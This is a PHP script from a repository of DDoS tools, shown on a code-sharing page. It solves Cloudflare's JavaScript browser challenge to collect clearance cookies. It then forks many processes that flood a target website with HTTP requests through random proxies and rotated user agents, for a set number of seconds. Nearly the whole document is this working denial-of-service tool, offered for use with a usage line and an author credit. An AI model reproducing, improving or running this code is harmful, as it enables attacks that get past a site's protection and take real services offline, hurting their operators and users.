Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/CFBypass.php
4607 views
1
<?php
2
error_reporting(0);
3
@ini_set('display_errors', 0);
4
if ($argc != 5) {
5
echo "Usage: php $argv[0] http://site.com/ (proxy list set to dog if none)(threads)(time)\n";
6
die();
7
}
8
function get_between($string,$start,$end) {
9
$string = " ".$string;
10
$ini = strpos($string, $start);
11
if($ini==0) return "";
12
$ini += strlen($start);
13
$len = strpos($string, $end, $ini) - $ini;
14
15
return substr($string, $ini, $len);
16
}
17
function rand_line($fileName, $maxLineLength = 4096) {
18
$handle = @fopen($fileName, "r");
19
if ($handle) {
20
$random_line = null;
21
$line = null;
22
$count = 0;
23
while (($line = fgets($handle, $maxLineLength)) !== false) {
24
$count++;
25
if(rand() % $count == 0) {
26
$random_line = $line;
27
}
28
}
29
if (!feof($handle)) {
30
echo "Error: unexpected fgets() fail\n";
31
fclose($handle);
32
return null;
33
} else {
34
fclose($handle);
35
}
36
return $random_line;
37
}
38
}
39
function bypassyourdog($domain, $useragent, $proxy) {
40
$cURL = curl_init();
41
curl_setopt($cURL, CURLOPT_URL, $domain);
42
curl_setopt($cURL, CURLOPT_RETURNTRANSFER, 1);
43
curl_setopt($cURL, CURLOPT_HEADER, 1);
44
curl_setopt($cURL, CURLOPT_USERAGENT, $useragent);
45
curl_setopt($cURL, CURLOPT_FOLLOWLOCATION, true);
46
curl_setopt($cURL, CURLOPT_PROXY, $proxy);
47
curl_setopt($cURL, CURLOPT_COOKIEFILE, "cookie.txt");
48
$string = curl_exec($cURL);
49
curl_close($cURL);
50
$domain = get_between($string, '</span> ', '.</h1>');
51
$jschl_vc = get_between($string, '"jschl_vc" value="', '"/>');
52
$pass = get_between($string, '"pass" value="', '"/>');
53
$settimeout = get_between($string, 'setTimeout(function(){', 'f.submit()');
54
$mathvariables = get_between($settimeout, 'var t,r,a,f, ', ';');
55
$mathvariable = explode('=', $mathvariables);
56
$mathvariable1 = get_between($mathvariables, '{"', '":');
57
$mathvariable2 = $mathvariable[0].".".$mathvariable1;
58
$math1 = get_between($mathvariables, '":', '}');
59
$math2 = $mathvariable[0].get_between($settimeout, ";".$mathvariable[0], ';a.value');
60
$fuck = 0;
61
$math2s = explode(';', $math2);
62
$mathtotal = 0;
63
$answers = array();
64
$totalformath1 = 0;
65
//echo "Domain: $domain\nJSCHL_VC: $jschl_vc\nPASS: $pass\nSet Timeout: $settimeout\n";
66
if($pass == NULL) {
67
file_put_contents('log.txt', $string, FILE_APPEND);
68
}
69
if(get_between($math1, '((', '))') != NULL) {
70
$dog311 = get_between($math1, '((', '))');
71
$math1ss = explode(')', $dog311);
72
$math1sss = explode('+', $math1ss[0]);
73
$math1ssss = explode('(', $dog311);
74
$math1sssss = explode('+', $math1ssss[1]);
75
$ifuckdog = 0;
76
$ufuckdog = 0;
77
foreach($math1sss as $imoutofvars2) {
78
if ($imoutofvars2 == "!" || $imoutofvars2 == "!![]" || $imoutofvars2 == "![]") {
79
$ifuckdog++;
80
}
81
}
82
foreach($math1sssss as $imoutofvars3) {
83
if ($imoutofvars3 == "!" || $imoutofvars3 == "!![]" || $imoutofvars3 == "![]") {
84
$ufuckdog++;
85
}
86
}
87
$totalformath1 = $ifuckdog.$ufuckdog;
88
array_push($answers, $totalformath1." +");
89
} else {
90
$math1ss = explode('+', $math1);
91
foreach($math1ss as $fuckmydog){
92
if ($fuckmydog == "!" || $fuckmydog == "!![]" || $fuckmydog == "![]") {
93
$totalformath1++;
94
}
95
}
96
array_push($answers, $totalformath1." +");
97
}
98
foreach($math2s as $dog123){
99
$typeofmath = substr($dog123, strlen($mathvariable2), 1);
100
if(get_between($dog123, '((', '))') != NULL) {
101
$dog321 = get_between($dog123, '((', '))');
102
$poop = 0;
103
$shit = 0;
104
$mathss = explode(')', $dog321);
105
$mathsss = explode('+', $mathss[0]);
106
$mathssss = explode('(', $dog321);
107
$mathsssss = explode('+', $mathssss[1]);
108
foreach($mathsss as $imoutofvars) {
109
if ($imoutofvars == "!" || $imoutofvars == "!![]" || $imoutofvars == "![]") {
110
$poop++;
111
}
112
}
113
foreach($mathsssss as $imoutofvars1) {
114
if ($imoutofvars1 == "!" || $imoutofvars1 == "!![]" || $imoutofvars1 == "![]") {
115
$shit++;
116
}
117
}
118
$fuck = $poop.$shit;
119
array_push($answers, $fuck." ".$typeofmath);
120
$fuck = 0;
121
} else {
122
$fuckingdogs = explode('=', $dog123);
123
$fuckingcats = explode('+', $fuckingdogs[1]);
124
foreach($fuckingcats as $idinglecats) {
125
if ($idinglecats == "!" || $idinglecats == "!![]" || $idinglecats == "![]") {
126
$fuck++;
127
}
128
}
129
array_push($answers, $fuck." ".$typeofmath);
130
$fuck = 0;
131
}
132
}
133
foreach($answers as $answer) {
134
$ilikedogs = explode(' ', $answer);
135
switch($ilikedogs[1]) {
136
case "+":
137
$mathtotal = $mathtotal + $ilikedogs[0];
138
break;
139
case "-":
140
$mathtotal = $mathtotal - $ilikedogs[0];
141
break;
142
case "*":
143
$mathtotal = $mathtotal * $ilikedogs[0];
144
break;
145
}
146
}
147
$jschl_answer = strlen($domain) + $mathtotal;
148
$domain1 = $domain."/cdn-cgi/l/chk_jschl?jschl_vc=$jschl_vc&pass=$pass&jschl_answer=$jschl_answer";
149
sleep(4);
150
$cURL1 = curl_init();
151
curl_setopt($cURL1, CURLOPT_URL, $domain1);
152
curl_setopt($cURL1, CURLOPT_RETURNTRANSFER, 1);
153
curl_setopt($cURL1, CURLOPT_HEADER, 1);
154
curl_setopt($cURL1, CURLOPT_USERAGENT, $useragent);
155
curl_setopt($cURL1, CURLOPT_FOLLOWLOCATION, true);
156
curl_setopt($cURL1, CURLOPT_PROXY, $proxy);
157
curl_setopt($cURL1, CURLOPT_COOKIEFILE, "cookie.txt");
158
$test = curl_exec($cURL1);
159
$cfuid = get_between($test, '__cfduid=', '; expires');
160
$cf_clearance = get_between($test, 'cf_clearance=', '; expires');
161
echo '__cfduid='.$cfuid.'; cf_clearance='.$cf_clearance."\n";
162
return '__cfduid='.$cfuid.'; cf_clearance='.$cf_clearance;
163
}
164
$useragents = array(
165
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56
166
Safari/536.5",
167
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4)
168
AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
169
"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko)
170
Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
171
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5","Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
172
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko)
173
Chrome/19.0.1084.56 Safari/536.5",
174
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko)
175
Chrome/19.0.1084.56 Safari/536.5",
176
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91)
177
App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
178
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like
179
Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
180
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
181
rv:1.9.2) Gecko/20100115 Firefox/3.6",
182
"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3","Mozilla/4.0 (compatible; MSIE 6.0; Windows
183
NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
184
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
185
SV1; .NET CLR 2.0.50727)",
186
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11","Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101
187
Firefox/5.0.1", ); $end = time() + $argv[4]; $threads = $argv[3]; echo "Made by Decafe\n"; echo "Starting cf bypass on $argv[1] for $argv[4] seconds with $argv[3] threads\n"; for($i =
188
0; $i < $threads; $i ++){
189
$pid = pcntl_fork();
190
if($pid == -1) {
191
echo "Forking failed on $i loop of forking.\n";
192
exit();
193
} elseif($pid) {
194
continue;
195
} else {
196
if(!(strpos($argv[2], "dog"))) {
197
$proxy = rand_line($argv[2]);
198
} else {
199
$proxy = NULL;
200
}
201
$ua = $useragents[array_rand($useragents)];
202
$bypasscookie = bypassyourdog($argv[1], $ua, $proxy);
203
while($end > time()) {
204
$flood = curl_init();
205
curl_setopt($flood, CURLOPT_URL, $argv[1]);
206
curl_setopt($flood, CURLOPT_RETURNTRANSFER, 1);
207
curl_setopt($flood, CURLOPT_USERAGENT, $ua);
208
curl_setopt($flood, CURLOPT_FOLLOWLOCATION, true);
209
curl_setopt($flood, CURLOPT_PROXY, $proxy);
210
curl_setopt($flood, CURLOPT_COOKIE, $bypasscookie);
211
$var123 = curl_exec($flood);
212
curl_close($flood);
213
}
214
die();
215
}
216
}
217
for($j = 0; $j < $threads; $j++) {
218
$pid = pcntl_wait($status);
219
}
220
?>
221
222